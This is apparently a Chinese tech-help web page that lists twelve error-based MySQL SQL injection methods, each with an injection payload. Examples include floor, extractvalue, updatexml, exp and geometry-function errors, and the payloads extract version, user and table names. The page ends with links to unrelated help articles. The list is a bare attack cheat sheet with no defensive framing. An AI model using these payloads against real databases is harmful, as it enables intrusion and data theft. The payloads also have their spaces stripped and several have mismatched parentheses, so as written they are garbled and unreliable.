sql注入报错方式有哪些
sql注入报错方式有12种,分别是:
1、通过floor报错,注入语句如下:
andselect1from(selectcount(*),concat(version(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a);
2、通过ExtractValue报错,注入语句如下:
andextractvalue(1,concat(0x5c,(selecttable_namefrominformation_schema.tableslimit1)));
3、通过UpdateXml报错,注入语句如下:
and1=(updatexml(1,concat(0x3a,(selectuser())),1))
4、通过NAME_CONST报错,注入语句如下:
andexists(select*from(select*from(selectname_const(@@version,0))ajoin(selectname_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
select*from(select*frommysql.userajoinmysql.userb)c;
6、通过exp报错,注入语句如下:
andexp(~(select*from(selectuser())a));
7、通过GeometryCollection()报错,注入语句如下:
andGeometryCollection(()select*from(selectuser())a)b);
8、通过polygon ()报错,注入语句如下:
andpolygon(()select*from(selectuser())a)b);
9、通过multipoint ()报错,注入语句如下:
andmultipoint(()select*from(selectuser())a)b);
10、通过multlinestring ()报错,注入语句如下:
andmultlinestring(()select*from(selectuser())a)b);
11、通过multpolygon ()报错,注入语句如下:
andmultpolygon(()select*from(selectuser())a)b);
12、通过linestring ()报错,注入语句如下:
andlinestring(()select*from(selectuser())a)b);
上一篇:redis什么时候加载dump
下一篇:cmd如何退出redis
sql注入
声卡驱动正常但是没有声音如何办?声卡驱动正常没声音的解决方法
英伟达显卡驱动如何退回到原来版本?英伟达显卡驱动退回到原来版
重装系统,电脑只有一个C盘如何创建分区
Defender提示错误应用程序MsMpEng.exe无法启动
电脑无法启动或仍在加载如何办?电脑无法启动或仍在加载的解决方
打印机驱动如何卸载删除?卸载打印机驱动干净的教程
电脑没网如何安装网卡驱动?教你没网如何安装网卡驱动的方法
系统32位和62位如何选择:详解它们之间的差异
电脑文件删不掉如何办?四种方法解决
任务管理器快捷键有哪些?任务管理器快捷键大全